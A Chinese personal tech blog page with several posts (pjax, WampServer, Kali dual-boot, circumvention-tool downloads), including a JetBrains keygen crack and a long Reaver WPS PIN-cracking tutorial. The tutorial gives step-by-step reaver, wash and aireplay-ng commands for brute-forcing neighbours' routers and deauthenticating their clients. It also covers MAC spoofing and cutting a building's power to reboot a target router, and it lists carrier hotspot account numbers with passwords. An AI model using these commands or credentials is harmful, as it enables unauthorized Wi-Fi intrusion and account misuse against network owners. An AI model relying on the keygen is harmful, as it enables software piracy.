博客决定取消使用pjax技术加载页面,简单分析 PHP

pjax是对ajax + pushState的封装,让你可以很方便的使用pushState技术。

同时支持了缓存和本地存储,下次访问的时候直接读取本地数据,无需在次访问。

并且展现方式支持动画技术,可以使用系统自带的动画方式,也可以自定义动画展现方式。

这是它的开源主页 : https://github.com/welefen/pjax

我的博客也在前不久使用这项技术,具体的教程请前往Finlly博客查看:关于PJAX局部刷新 ;


但是使用之后,发现有如下几个问题:

1:我得服务器资源占用比不使用pjax之前多了30%,大神勿笑,也可能是我小菜不会优化;

2:加载之后会发现,会出现不能够加载其他的js,比如不能够加载第三方分享的js文件,或者是代码高亮插件的js,导致代码的高亮,复制,又或者是图片highslide插件等功能失效;

下面几点来至于互联网:

3:这个技术使用的场景很受限制,据我所知真正用这个技术的网站很少

因为html5的新api:pushState和replaceState的出现,让url脱离了#号。更重要的是支持了浏览器前进后退的事件触发onpopstate

4:不利于SEO,当然,你可以针对爬虫做处理,但那是自找麻烦

5:不同页面引用的资源很可能不同,切换页面需要动态加载新的js和css,容易和旧的CSS和JS产生冲突

6:不刷新页面,意味着页面占用的资源得不到释放,如果有内存泄露问题,页面会越来越卡

不知道各位有什么好的优化方案没,或者是在使用pjax过程中有哪些问题。

题外话:还是HTML5方便,赶紧学习html5,因为html5的新api:pushState和replaceState的出现,支持浏览器前进后退的事件触发onpopstate,pushState的功能具体来说就是修改url而页面无跳转,并且该url会被存放在历史记录中

当然为了满足某些需要你不需要存放在历史记录中就需要使用replaceState

而浏览器上前进和后退都会触发onpopstate能获取你设置的State对象


拿welefen的pjax说下原理:

1.在用户超链请求的时候拦截超链

2.拦截后同时发出两种行为 ajax请求 以及 pushState


实际上他的设计是线性的,在超链被拦截后才会触发。

我更倾向于观察者模式,state被改变的时候触发。

如果你真的想用在项目中我推荐你直接使用 balupton/history.js · GitHub

在不支持html5的浏览器上采用了hash作为代替并且监听了statechange事件



admin 发布于  2015-8-26 12:56 

为Wampserver My Projects自动添加localhost前缀 技术文章

我们安装好wampserver最新版之后,在菜单里面就会有My Project选项:

01.png

我们在wamp的默认www目录(根据你自己的安装路径)下面创建两个文件夹,emlog531和JavaScriptStudy,重启wampserver就可以在My Project里发现了。

但是我们默认打开其中的任意一个都会发现在浏览器里面的路径是这个样子的:

2015-08-26 09_23_53.png

根本就不能打开。。。。

我们打开localhost,在下面的 Your Projects 里面会发现打开项目依然不能访问,下图是我修改之后的,路径自动加上了localhost,就可以正常访问了,

2015-08-26 09_27_44.png

2015-08-26 09_25_32.png

而且修改之后我们直接在wamp的托盘菜单里面的菜单里面的My Projects项目可以直接在浏览器打开并正常访问,具体的修改反方法如下:

1>打开 \wamp\www\index.php

修改如下这行代码:


$suppress_localhost = true; 修改成 :$suppress_localhost = false;


2015-08-26 09_24_36.png

2>打开 \wamp\scripts\refresh.php

修改如下这行代码:


 Parameters: "http://'.$projectContents[$i].'/";  修改成 :  Parameters: "http://localhost/'.$projectContents[$i].'/";  其实就是在 http://后添加 localhost/


2015-08-26 10_09_13.png

完成上面两部之后就可以重新启动wampserver看效果了。一般就成功了。如果还是不行,那就参考这篇文章:



自定义wamp_server的网站根目录

相关文章推荐:

修改WampServer的默认浏览器小计--mrxn's Blog

修改wamp中的MySQL默认密码

在 WampServer 上手工安装 PHP 的多个版本


admin 发布于  2015-8-26 08:18 

【原创实践】物理机安装Kali2.0 i386和Windows10 X64构成双系统详细教程 Linux

2017/02/02 更新:这篇文章是在BIOS+mbr的基础上写的,如果(你的easybcd不能用)是gpt+uefi 请查看这篇文章: 在UEFI+GPT下使用rEFind实现Win10 + Kali2.0 双引导:https://mrxn.net/Linux/UEFI-GPT-rEFind-Win10-Kali20.html


首先给大家看一下Kali2.0 i386和Windows10 X64安装成功后的截图吧:

IMG_20150818_214200.jpg

从上图知道,我这里是使用Grub2引导的Windows系统.后面我会讲为什么这么做,比较适合新手.

首先说点需要注意的,你看看你是否遇到过这种情况,我把我安装的时候遇到的问题和群里童鞋们出现的问题综合了一下:

<一>镜像的选择:很多的人都是看自己的CPU来选择,比如Intel的使用i386.AMD的使用AMD64的.但是我用我的实践证明了,有的时候,AMD的CPU安装AMD版本的镜像是不行的,会卡在如下的界面,我想很多的人大概都遇到过.特别是使用AMD的CPU的童鞋.如果刻录了与你CPU型号相同的Kali镜像,但是却卡在如下图所示的环节,可以考虑重新刻录i386的镜像试试.因为哪个版本都可以使用的,只是性能上有多多少少的折扣。


IMG_20150818_215340.jpg

<二>BIOS的设置,如果你是双显卡,安装的时候最好是使用集显,可以大大避免卡在安装界面进入后的第二步上。一般是在BIOS的config选项下面的Display里面设置使用集显还是双显卡。集显字样如:Intergrated Graphics 。等你安装完Kali之后,可以再进入BIOS设置重新启用双显卡。

IMG_20150818_215659.jpg

IMG_20150818_215723.jpg

<三>硬盘的模式选择,如果是安装双系统,推荐使用 AHCI + Legacy Only 模式,这样兼容性和性能都兼顾,但不是最好的性能哈,兼容和性能兼得,性能必然会有所牺牲的。如下图所示的硬盘模式设置:

IMG_20150818_215640.jpg 

IMG_20150818_215748.jpg

<四>使用Windows系统自带的磁盘管理工具先压缩出来一部分给Kali 使用,一般推荐最少20G,可以大一点,比如30G比较合适。

在我的计算机上右键-管理-磁盘管理-选一个磁盘右键-压缩卷-输入压缩大小,比如:30720(30G),等待压缩完毕,退出来,关闭计算机,准备安装。

<五>如果你重新刻录镜像的时候不能够格式化U盘或者是U盘容量大小有问题,请查看这篇文章的解决方法:


使用Win32DiskImager做安装kali启动U盘后的那些事儿


019.png020.png021.png022.png

下面开始详细的教程:

首先是使用windisk32这款软件来制作Kali的安装启动U盘.

QQ截图20150824200602.png

选择你要安装的Kali版本镜像文件,我这里已Kali 2.0 i386做演示,也是我自己物理机安装的.记得在选择镜像的时候有个小细节,右下角的过滤选择所有文件类型:

QQ截图20150824200413.png,不然会出现你在你放镜像的文件夹下面找不到镜像。

找到镜像之后,打开就OK,然后是核对右边的Device(U盘/光盘)是否正确,软件默认是会选择U盘/光盘的,不知道的可以去我得电脑里面查看。这两项核对正确无误之后就可以点击下面的 write 开始写入镜像操作了。等待写入完成,一般是10分钟左右,主要依据你的U盘/光盘写入速度。

下面进入安装环节,关机,重启F12,到选择启动盘界面,或者是在BIOS设置好U盘为第一启动项(这不会就去百度吧,或者是别玩双系统了):

live.jpg

在这个界面我们可以测试能够安装。选择第一项的  Live (686-pae)更具你自己刻录的镜像,括号里面的可能会有不同,比如  Live (adm64) 等,回车进入 Kali Live 界面,记载系统文件等等,速度很快,如果你的加载中途停止了,卡在如图所示的位置,那你可以考虑换镜像重新刻录尝试:

IMG_20150818_215340.jpg

如果顺利,会进入Kali Live界面的。如下图所示:

live01.jpg

如果进入这里了,就表明你可以成功安装Kali 的几率提升到95%了。当然,如果你在Windows上忘了压缩分区给Kali,别着急,这里也可以分使用parttion分区命令来分区的(推荐在Windows上分区好,对于新手比较方便,老鸟直接飞过吧)。具体的分区方法,这里就不叙述了,很多的。节省空间,这篇文章已经很长了。。。

OK,点击右上角的那个倒三角,在弹出来的菜单里,选择reboot,选择now。重启,重新进入U盘安装Kali界面。这里我选择install。如果顺利,就来到选择语言的对话框,通过方向键向上选择中文(简体)。

001.png

接着是询问是否要以选择的语言安装,通过Tab键选择 是。

002.png

选择区域:中国,回车

003.png

选择汉语,回车

004.png

就开始加载数据,准备进行下一步,等待这个过程完毕,一般很快,几秒钟

005.png

接着来到了 给主机命名,随便输入你喜欢的名字,比如:Mrxn

006.png

接着是域名,选择不填写吧。直接Tab键 选择  继续

007.png

接着是 输入root用户密码,可以在这里设置,也可以在后面设置,我就在这里设置了吧,root 然后Tab键切换到 继续 回车

008.png

然后来到 重新输入刚刚输入的root密码进行确认,root Tab键到 继续之后,回车

009.png

就到了,分区这一步,很重要的步骤,因为刚刚在Windows上压缩了一个空的分区,所以会出现第一个:向导-使用最大的连续空闲空间,所以我这里直接就选择这个,回车进行下一步。如果你没有提前分区,或者是项自己设置boot分区根分区/,hone分区等等,请自行选择下面的手动。新手就别去折腾了。。小心折腾坏两个系统。

010.jpg

接着来到选择是否把所有文件放到一个分区中,推荐新手选择这一个,然后 回车。

011.jpg

然后就是分区结束最后确认阶段,选择最后一个:分区设定结束开始将更改写入磁盘,然后回车进行下一个环节

012.jpg

如果你是选择手动分区,并且自己选择了分区,就会弹出下面这两个对话框,我这里不是手动分区,所以不会出现这个,这只坐介绍,013.jpg014.jpg

接着是格式化分区的步骤,手动和向导分区都有这一步

015.jpg

格式化结束就会开始安装系统了,复制系统文件到磁盘了

016.jpg

漫长的等待数据复制完成之后,就会弹出选择是否进行网络安装,直接选择否,因为还没有修改源,会很慢,等死你。。。

017.jpg

接下来就是非常重要的步骤:安装Grub到那个分区,我这里选择是,安装到主mbr上,利用Grub来引导Windows。如果你想让Windows来引导Kali就选择否,然后选择将Grub安装到那个分区,如果/boot单独分区则添/boot所在的分区,如果/boot没有单独分区,则添/目录所在的分区;

018.jpg

Grub安装完毕之后就是重启,重启之后就可以看见熟悉的Kali Grub引导菜单,选择Kali 进入,进入Kali之后,我们需要使用下面的命令来更新Grub引导使Windows引导加入到引导菜单里面,打开终端命令面板,输入如下的命令更新Grub:

su

sudo update Grub2

如果你是以root登录的系统,直接输入 update Grub2  就可以了。然后reboot,就会发现已经有Windows load (sda1)等字样,选择并回车,就可以进入Windows系统了。如果不能进去Windows系统,请使U启动,大白菜,老毛桃之类的PE工具进行引导修复,就OK了。修复之后需要在Windows使用easybcd添加Kali 启动项。

如果是将mbr安装到其他分区,并非主分区,那么重启后是进入Windows系统的,进入Windows系统之后,下载easybcd,添加Kali启动项。具体的教程,可以百度搜搜,很多,也很详细的。

至此Kali + windows双系统安装就结束了,如果在安装中有什么问题或者是我写的不对的地方,欢迎大家评论留言:https://mrxn.net/guestbook.html或者是加我QQ-1451657099讨论。欢迎大家去折腾,生命在于折腾。生命不息,折腾不止!come on!

欢迎转载,请注明出处:https://mrxn.net/?post=363 毕竟写这么久不容易,请相互尊重,谢谢。


admin 发布于  2015-8-25 00:24 

全自动化操作的GoAgent-一键翻墙+安卓fqrouter v2.12.2 稳定版/测试版 翻墙工具

想要了解更多的查资料相关教程,技术,工具,vpn,请看这里:点我 .

安卓,苹果,Mac,Windows 三平台支持的,免费加速器下载 2020最新可用 下载链接:点击下载

今天给大家带来的是一键式查资料工具GoAgent的最新修改进化版,也可以参看我之前发布的:查资料传送门

如果访问Google或YouTube等网站出现如下图所示的https警告.解决办法请查看这篇文章:解决SSL错误

01.png

02.png

下面这两个GoAgent任意其一都可以.推荐第一个,全自动化...速度也很快.

安卓版:

fqrouter v2.12.7 测试版.apk大小:8.8M | 来源:国外网盘
已经过安全软件检测无毒,请您放心下载。
fqrouter v2.12.2 稳定版.apk大小:8.8M | 来源:国外网盘
已经过安全软件检测无毒,请您放心下载。
GoAgent集合大小:22M | 来源:百度网盘
已经过安全软件检测无毒,请您放心下载。

admin 发布于  2015-8-22 17:14 

WebStorm-PHPStorm-RubyMine-Pycharm-最新通用破解注册机 破解软件

WebStorm jetbrains公司旗下一款JavaScript 开发工具。被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。但是他是收费的!下面是注册成功的截图:

01.png

今天,Mrxn教你如何破解她!想上就上!哈哈,别邪恶、、、

最新版是10.0.4的,官网下载链接:http://download-cf.jetbrains.com/webstorm/WebStorm-10.0.4.exe 下载后,安装完毕,(如果安装不会,就别往下看了,免得你头晕眼花-_-|);运行我下面提供的注册机,直接打开,输入你想要注册的名字,点击Generate,OK,再点击copy,然后粘贴到你的注册框里面久OK。

02.png

如第一图:点击左下角的Register,然后打开注册机,输入你想要注册的名字,点击Generate,OK,再点击copy然后粘贴到你的注册框里面久OK。

03.png

最后,一个小技巧:代码自动换行设置:view - Active Editor - Use Soft Wraps 如图所示:

04.png 


WebStorm系列破解注册机大小:200KB | 来源:百度网盘
已经过安全软件检测无毒,请您放心下载。

admin 发布于  2015-8-22 15:01 

最新kali2.0 Linux编译安装RT2870/3070无线USB网卡驱动教程+reaver参数详解+PING方法策略 Linux

01.终端输入#lsusb,会看到再出现的几行中有USB、ralink等字样,一般是倒数第二行。。。确定下ID代码:ID 148f:5370 Ralink

1440052049131spqwp_tuhaokuai_com_0x0.png


02.下载驱动,可以google/百度搜索关键字----ralink rt2870/3070(根据自己的网卡型号来搜索)----进官网后选择Download字样的,只要芯片型号对就行,你说那要是不知道芯片型号?找度娘--搜索---你USB网卡型号+芯片型号(比如托实N95芯片型号)---度娘会告诉你芯片型号的!好了,这步搞定。

03.下载玩之后解压,tar -zxvf filename.tar.bz2 类似的。解压完毕后进入解压完毕的那个文件夹,然后进入 os/linux 目录下,编辑config.mk,可以使用命令 leafpad config.mk 之后在leafpad的窗口里搜索并找到,修改下面这两句,启用WPA特性:

HAS_WPA_SUPPLICANT=y  

HAS_NATIVE_WPA_SUPPLICANT_SUPPORT=y

1440052842b7xka164_tuhaokuai_com_0x0.png

04.编译(需要root权限),make , makeinstall ,modprobe rt3070(根据自己的网卡型号),exit 。

注意:执行modprobe rt3070可能会产生一个警告: WARNING: All config files need .conf: /etc/modprobe.d/ndiswrapper, it will be ignored in a future release. 无视掉,没有关系!!!或许还有其他的警告或者是提示都不用管,稍等执行ifconfig -a 查看无线网卡驱动是否安装激活。

1440052226czu8p2i1_tuhaokuai_com_0x0.png


如果想系统每次启动就会自动驱动这张网卡,可以将模块加入/etc/modules,这样代码:echo rt3070 >> /etc/modules





下面介绍一下reaver与ping 之间的详细参数 和一些破解时设置的技巧,菜鸟请看,绝对有用,老鸟无视,直接飞过~~~~~

【Reaver v1.4 参数说明】

-i, --interface=<wlan> Name  of  the  monitor-mode

interface to use

网卡的监视接口,通常是 mon0

-b, --bssid=<mac> BSSID of the target AP AP 的

MAC 地址

Optional Arguments:

-m, --mac=<mac> MAC of the host system

指定本机 MAC 地址,在 AP 有 MAC 过滤的时候需要使用

-e, --essid=<ssid> ESSID of the target AP 路由器的

ESSID,一般不用指定

-c, --channel=<channel> Set the 802.11 channel for

the interface (implies -f) 信号的频道,如果不指定会自动扫

-o, --out-file=<file>Send output to a log file [stdout]

标准输出到文件

-s, --session=<file> Restore a previous session file

恢复进程文件

-C, --exec=<command> Execute  the  supplied

command upon successful pin recovery pin 成功后执行

命令

-D, --daemonize Daemonize reaver

设置 reaver 成 Daemon

-a, --auto Auto  detect  the  best  advanced  options

for the target AP 对目标 AP 自动检测高级参数

-f, --fixed Disable channel hopping

禁止频道跳转

-5, --5ghz Use 5GHz 802.11 channels 使用 5G 频道

-v, --verbose Display  non-critical  warnings  (-vv  for

more) 显示不重要警告信息 -vv 可以显示更多

-q, --quiet Only display critical messages 只显示关键信息

-h, --help Show help 显示帮助 Advanced Options:

-p, --pin=<wps pin> Use the specified 4 or 8 digit

WPS pin

直接读取 psk(本人测试未成功,建议用网卡自带软件获取)

-d, --delay=<seconds> Set the delay between pin

attempts [1]

pin 间延时,默认 1 秒,推荐设 0

-l, --lock-delay=<seconds> Set the time to wait if

the AP locks WPS pin attempts [60] AP 锁定 WPS 后

等待时间

-g, --max-attempts=<num> Quit  after  num  pin

attempts

最大 pin 次数

-x, --fail-wait=<seconds> Set the time to sleep after

10 unexpected failures [0]

10 次意外失败后等待时间,默认 0 秒

-r, --recurring-delay=<x:y> Sleep for y seconds every

x pin attempts

每 x 次 pin 后等待 y 秒

-t, --timeout=<seconds> Set the receive timeout

period [5] 收包超时,默认 5 秒

-T, --m57-timeout=<seconds> Set  the  M5/M7

timeout period [0.20] M5/M7 超时,默认 0.2 秒

-A, --no-associate Do not associate with the AP

(association must be done by another application)

不连入 AP(连入过程必须有其他程序完成)

-N, --no-nacks Do not send NACK  messages

when out of order packets are received

不发送 NACK 信息(如果一直 pin 不动,可以尝试这个参数)

-S, --dh-small Use small DH  keys to improve crack

speed

使用小 DH 关键值提高速度(推荐使用)

-L, --ignore-locks Ignore locked state reported by the

target AP 忽略目标 AP 报告的锁定状态

-E, --eap-terminate Terminate  each  WPS  session  with

an EAP FAIL packet

每当收到 EAP 失败包就终止 WPS 进程

-n, --nack Target AP always sends a NACK [Auto] 对

目标 AP 总是发送 NACK,默认自动

-w, --win7 Mimic a Windows 7 registrar [False] 模拟

win7 注册,默认关闭

PIN码

破解简单解释:

PIN码分前4和后4,先破前4只有最多一万个组合,破后4中的前3只有一千个组

合,一共就是一万一千个密码组合。 10的4次方+10的3次方=11000个密码组合。

   当reaver确定前4位PIN密码后,其任务进度数值将直接跳跃至90.9%以上,也就是

说只剩余一千个密码组合了。总共一万一千个密码!

学习过程

1.在虚拟机找到点击打开。如果电脑装有多个无线网卡,请先发指令

ifconfig -a   确认你用哪一个网卡WLAN0或是WLAN1

(下面的指令都是以单一网卡WLAN0为例)

2.出现root Shell窗口。敲入第一条命令“ifconfig wlan0 up” 加载

usb网卡。

接下来“airmon-ng start wlan0” 监听模式已激活到了

mon0。

如果出现网卡没有正确加载,8187驱动RF-kill的参考后记1解决问题。

3.第二条命令“airodump-ng mon0” 查看周边路由/AP的信息。

记录下你要学习的路由MAC地址。提供几个查看可以使用PIN码学习路由的方法。

特别提示:只有AP开启了WPS、QSS功能,才可以用PIN法学习PSK密码!如何查看

AP是否开了WPS、QSS呢提供几个小方法?

a) reaver1.3下使用使用命令walsh -imon0-C 查看针对xiaopangOS3.2版本

b) reaver1.4下用新的指令:WASH -i mon0 -C  C是大写在wps locked一项中有显示的。

c) WIN7下,用通常的方式连接AP,如果在提示输入密码框下面,出现“通过按路由器

按钮也可以连接”,就确认此AP开了WPS、QSS。

d) 在螃蟹软件中——可用网络——模式下带N,G的这个不是很准

最准确的是下面这个选项

点击PIN输入配置,选择接入点,哈哈出来了吧,这里面都是可以学习的目标

需要注意的是,查看后面有的是不支持pin码连接的,这样的就别弄了,后果你知道。

1. 重新开启一个root Shell窗口,第三条命令“reaver -i mon0 -b MAC -a -S -vv” 抓PIN

码。注意,MAC中冒号不可省略,MAC地址的字母大小写均可,-S是大写字母, -vv

是两个V不是W!# _) }

-i 监听后接口名称

-b 目标mac地

-a 自动检测目标AP最佳配

-S 使用最小的DH key(可以提高破解速度)  

-vv 显示更多的非严重警告

-d 即delay每穷举一次的闲置时间 预设为1秒

-t 即timeout每次穷举等待反馈的最长时间

-c指定频道可以方便找到信号,如-c1 指定1频道,大家查看自己的目标频道做相应修改 (非TP-LINK路由推荐–d9 –t9参数防止路由僵死

reaver -i mon0 -b MAC -a -S –d9 –t9 -vv)

小结-学习时应因状况调整参数(-c后面都已目标频道为1作为例子

目标信号非常好:  reaver  -i  mon0  -b MAC  -a  -S  -vv  -d0  -c 1

目标信号普通:  reaver  -i  mon0  -b MAC  -a  -S  -vv  -d2  -t .5  -c 1

目标信号一般:  reaver  -i  mon0  -b MAC  -a  -S  -vv  -d5  -c 1

学习开始了,然后就是漫长的等待。

如果信号好的话2-4小时内进度走到100%你就会有惊喜发现。

PIN破密对信号要求极为严格,如果信号稍差,可能导致破密进度变慢或者路由死锁等(重

复同一个PIN码 或 timeout)。AP关闭了WPS、或者没有QSS滴,会出现

WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX)

5.如果出现超长的wpa PSK可以使用第四条命令“reaver –i mon0 –b MAC –p WPA PSK”

MAC为目标的mac地址,WPA PSK为获取到的超长密码。作用是将指定的pin码获取

wpa密码psk。

6.常用命令截图

7.不是所有的路由都支持pin学习。AP关闭了WPS、或者没有QSS滴,会出现

WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX)  学习过程中也可随时随地按

Ctrl+C终止破解,重复同一个PIN码 或 timeout可终止,reaver

会自动保存进度。保存进度后重复第2-4项内容,先看看AP信号强弱或是否关机,继续

学习,则重复命令reaver -i mon0 -b MAC -vv这条指令下达后,会让你选y或n,选y后

就继续了。当reaver确定前4位PIN密码后,其工作完成任务进度数值将直接跳跃至90.9%

以上,也就是说只剩余一千个密码组合了(总共一万一千个密码)。这个时候离成功就差

一步之遥了,呵呵hold住哦!!!

小技巧:只要Root Shell窗口不关闭,按方向键的上下会出现你输入过的命令方便调用。 8.虚拟机中快照的保存方法

找到这两个图标,第一个是保存快照。第二个图标是加载上一次的快照。

快照的作用:类似迅雷的断点续传,可以保存上次学习的进度,防止目标pin僵死,无法

继续前功尽弃,这是光盘启动、u盘启动、硬盘启动都无法避免的。而虚拟机则可为自己

上一份保险。

载入快照后如果无法继续,可以尝试先卸载掉usb网卡,然后重新加载。然后在开启窗口  

继续上次的学习。学习过程中也可随时随地按Ctrl+C终止破解,重复同一个PIN码 或

timeou t可终止,reaver会自动保存进度。

reaver -i mon0 -b MAC -vv这条指令下达后,会让你选y或n,选y后就继续了。

9.光盘启动、u盘/硬盘启动保存学习进度的方法

reaver1.3的保存路径:打开桌面最后边一个图标xfec 定位到/etc/reaver下,有一个wpc

后缀的文件,名字是你学习的目标的mac地址,复制到你的U盘,路径是/mnt/sdb1(一

般是这个,自己找找,要是没有东西就右键mount),以后重启到xiaopanOS,把这文件

复制到原来的路径,再试试,可以载入进度了!o(∩_∩)o 哈哈

reaver1.4的保存路径:保存目录:/usr/local/etc/reaver

如果xfe文件管理器未获得ROOT权限。请先运行root shell后输入xfe即可获得root权

限。保存方法同上。下次重启动后,再手工复制到/etc/reaver/ 目录下即可

MAC地址.wpc 其实是个文本文件,格式与破密用字典酷似,其第一行和第二行,分别是

4位数和3位数的指示位置数(+4)。如果进度到99.9%后,AP死机,可打开它,总共1000

个3位数,找出剩余的十几个PIN码,用QSS、WPS客户端软件,手动测试、破密。

如果是跑了99.99%死机,  意味吗?  你懂的吧? 最后一个PIN就是。

以下这个命令是指定PIN码,获得WPA 密码PSK

reaver -i mon0 -b MAC -p PIN8位数

如果上述措施不后,仍不见PSK密码,可能因软件原因,漏码了!需要重新跑后三位数!

(前四位正确的话)reaver -i mon0 -b MAC -p PIN前4位数

1.遇见8187驱动RF-kill的  xiaopanos

对8187的网卡支持不是太好,有时会出现驱动加载不了,就是输入第一条命令

后出现operation not possible due to RF-kill,我想大部分人也遇到过把。新版本0.34使用

命令rfkill unblock all解决这个问题,容易出现问题的是0.3.2版本的。

第一种尝试的解决办法:这时候就断开USB,等上大概10几秒把再插上,连续插拔几次

总有一次会好。

第二种尝试的解决办法:先运行一下奶瓶扫描一会,然后退出奶瓶。虚拟机USB图标(USB

图标上的小点)由深绿变成浅绿色,变浅绿就输入

ifconfig wlan0 up

airmon-ng start wlan0

第三种解决办法:出现错误后的解决

a.Root Shell窗口敲击命令“ifconfig -a”,查看最后一项是否出现wlan0,这个就是你的无

线网卡。如果没有出现拔插网卡,直到测试出现wlan0。

b.接下来输入第二条命令“ifconfig wlan0 up”,接下来第三条“airmon-ng start wlan0”载入

网卡。如果出现operation not possible due to RF-kill,不要惊慌继续输入命令“airmon-ng start

wlan0”多输入几次,然后拔出USB网卡,再插入,重复第2步的命令。一般情况下就会

正常载入了括号内只会显示monitor mode enabled on mon0,不会出现operation not possible

due to RF-kill,如果不行以上步骤再次重复,直到解决。

c.输入“airodump-ng mon0”(如果括号内显示的是monitor mode enabled on mon1,相应的

命令就改为airodump-ng mon1,其他的类似),测试一下,要是可以正常扫描,说明8187L加载成功,就可以reaver了,你懂的!

d.小技巧:只要Root Shell窗口不关闭,按方向键的上下会出现你输入过的命令方便调用。

2. reaver

破密进度表 全能保存办法

用u盘或者硬盘启动xiaopanos可以保存进度,重启不会丢失,方法如下:

打开桌面最后边一个图标xfec 定位到/etc/reaver下,有一个wpc后缀的文件,名字是你

破解的mac地址,复制到你的U盘,路径是/mnt/sdb1(一般是这个,自己找找要是没有东

西就右键mount),以后重启到xiaopanOS,把这文件复制到原来的路径,再试试,可以

载入进度了

reaver的进度表文件保存在/etc/reaver/MAC地址.wpc  用资源管理器,手工将以MAC地

址命名的后辍为.wpc的文件拷贝到U盘或硬盘中,下次重启动后,再手工复制到

/etc/reaver/ 目录下即可。

MAC地址.wpc 其实是个文本文件,格式与破密用字典酷似,如果进度到99.9%后,AP

死机,可打开它,总共1000个3位数,找出剩余的十几个PIN码,用QSS、WPS客户

端软件,手动测试、破密。

3. PIN

破密降低timeout、同码重复的非常给力措施之一

首先是PIN难易与MAC无关的!主要跟路由所在频道的 信道拥挤程度相关!(同一频道

中有几个路由,特别是强信号的AP会相互干扰,造成 timeout

一般AP默认频道cn 6,部分为

解决“同频干扰”、“邻频干扰”的原则:设法 调虎离山(这个我想大家都懂的)。

将能调动的AP远离破密AP至少3个CN以上

5.如果90.9%进程后死机或停机,可以使用-p参数

请记下PIN前四位数,用指令:reaver -i mon0 -bMAC -a -vv -p XXXX(PIN前四位数

会从指定PIN段起破密.

6.只有AP开启了WPS、QSS功能,才可以用PIN法破PSK密码!如何查看AP是否开了WPS、QSS呢?

reaver1.3下 使用airodump-ng -mon0 MB一栏下,出现 54e. 是开11N的WPS的(不是

54e是有小数点的54e.)

reaver1.4除可使用上述命令外也可以用新的指令:WASH -imon0-C在wps locked一项中

有显示的。

WIN7下,用通常的方式连接AP,如果在提示输入密码框下面,出现“通过按路由器按

钮也可以连接”,就确认此AP开了WPS、QSS。PIN破密对信号要求极为严格,如果信

号稍差,可能导致破密进度变慢或者路由死锁等(重复同一个PIN码 或timeout)。AP

关闭了WPS、或者没有QSS滴,会出现

WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX)

7. 通过mac地址查找路由品牌 有时候

破解时SSID通常被改成其他的 不好判断 可以打开下面这个网址:

http://standards.ieee.org/develop/regauth/oui/public.html

输入你的ap mac的前三位,接下来就不用说了吧?破解 至少也要知道对方用的是啥路由

总结发现这个方法最快 也最好用 对破解有一定的帮助

8. 很简单地扫描支持pin解的路由

在xiaopanos下打开一个root shell 如果是1.3或之前的的就键入walsh -i mon0 -C(一般是

这个,不是的话改成你的网卡,注意c要大写)

1.4要把walsh改成wash 片刻就罗列出周围支持wps的路由,在wps locked一项如果是

N的话就可以pin破解

9. 在

xiaopanOS 中,打开的窗口最小化后,就找不到了,因为不像windows有下方的任

务栏,此时按Alt+Tab键,会出现一个弹出菜单,选择rootshell,原来最小化的窗口就会

出现了。

10. PIN僵死锁定后,无奈的方法。也可以攻击隐藏ssid的路由(不推荐使用)aireplay-ng-0 1000 -a SSID

的MAC -c 合法客户端的MAC 网卡端口 就是让客户端断开连接1000次

11. 【公共

wifi密码】

中国移动:卡号:15821275836 密码:159258;卡号:15800449592 密码:159258;卡

号:15800449954 密码:159258;卡号:15800449940 密码:159258。中国电信:但凡

你的手机能搜到电信的chinanet的热点覆盖,全国公免账号:07953591377密码3591377。

有福同享!

12. 利用虚假连接调整天线,快速穷举pin码的方法;

首先利用8187管理软件来精确调整天线的位置。(因为8187界面非常直观,友好,可以

看到当前连接ap源的信号强度和接收品质的动态条)把信号先调得接收强度,接收品质

为最优秀为破解来打下扎实的基础。

   最笨的方法就是把要破解的信号连接上。那你会问了能连接上就不用破了。是兄弟们没

有反应过来,呵呵,听我慢慢说:你可以虚假的连接啊。比如:要破这个1234p这个ssid

的信号。双击这个信号后会弹出输入密码对话框,你可以按10个1嘛。下面也一样输入

10个1 。这样就会虚假连接。能在8187管理界面上看到信号接收强度和接收品质的动

态图。虽然上不去网,但是完全可以根据这两项把天线调整到最佳的接收状态,使之

信号校对到最优秀状态。把信号调整好后,你说破解顺利不啊?还会出timeout这种丢包

情况吗?会相当顺利的。呵呵呵呵。

配合破解要有好的定向天线,我是硬件版块的兄弟。我们经常自己diy大增益的天线。使

我们的信号强上更强,这叫好马配好鞍,使破解无往而不利,综上所术:这就是我要分享

的小经验。我最慢也没有超过30分钟 的啊。一般全是15分钟就搞定了。。新手兄弟:

明白了吧 .

13. 破解隐藏SSID前提:一定要有合法的客户端连上

1.在bt3/4/5下先打开一个shell,输入airodump-ng 网卡端口

2.打开另一个shell,输入aireplay-ng-0 10 -a AP的MAC -c 合法客户端的MAC 网卡端口,

可能这个命令由于频道不对会出错,这时就要多重输几次(重输技巧:只要按一下向上键就

可以了,如果不行,就是不是合法客户端,要再试其它的客户端),直到提示成功为止。

3.然后就可以在上个shell,看到显示出来的SSID图是借用论坛的XD的,希望是不会介意

吧 连接隐藏SSID: 输入SSID选好网络身份验证加密方式及破解出来的密码,点上即使此网络未广播也进行

连接,然后确定就看到右下角小电脑摇起来了吧!如果连不了,可能是因为这个信号太弱和

有太强的信号影响,这时就要把可用网络里的AP列表全部删除,只留下那个刚新增的AP就可以了.如果还是连不上,那就是因为这个信号太弱,windows认为它没有连接的价值,又

或是AP还设置了MAC、IP过滤。

14.在xiaopangOS下修改usb网卡mac地址的方法

macchanger -m 00:16:6f:ab:25:f9 wlan0

15. PIN

破密正常运行中,信号质量也很好的情况下,突然出现出现同码循环和大量

timeout,可能是如下原因造成的(排除关机状态)。

reaver只支持11N的PIN破密,11n先验证前4位码,11g也有PIN功能,是全码验证。

现在多数AP的无线模式是混和11bgn,当有11g设备接入时,AP自动从11N降至11g

此时,reaver会出现同码循环重复timeout! 甚至会出现WARNING: Failed to associate with

XX:XX:XX:XX:XX:XX  (ESSID: XXXX)实证中,在排除同频干扰因素后,通过扫描无线

网络,发现路由器,确实从54e.模式降为54.模式了。有人把此种现象称为临时性WPS、

PIN功能自锁从收集情况分析,目前破密的主要是TP-LINK的路由器!

解决办法:

等待这个11g设备退出无线接入,断电重启,AP自动从11g恢复至11N模式。如果遇

到上很长很长时间不重启的顽固AP,我想最有效的办法就是我们动手帮它重启,找到附) ~

近(路由器一定离我们不远)楼内单位总电源开关!下步该知道怎么办了吧————终)

极秘籍:拉开关断电,再推上开关,回家继续。

相关推荐:

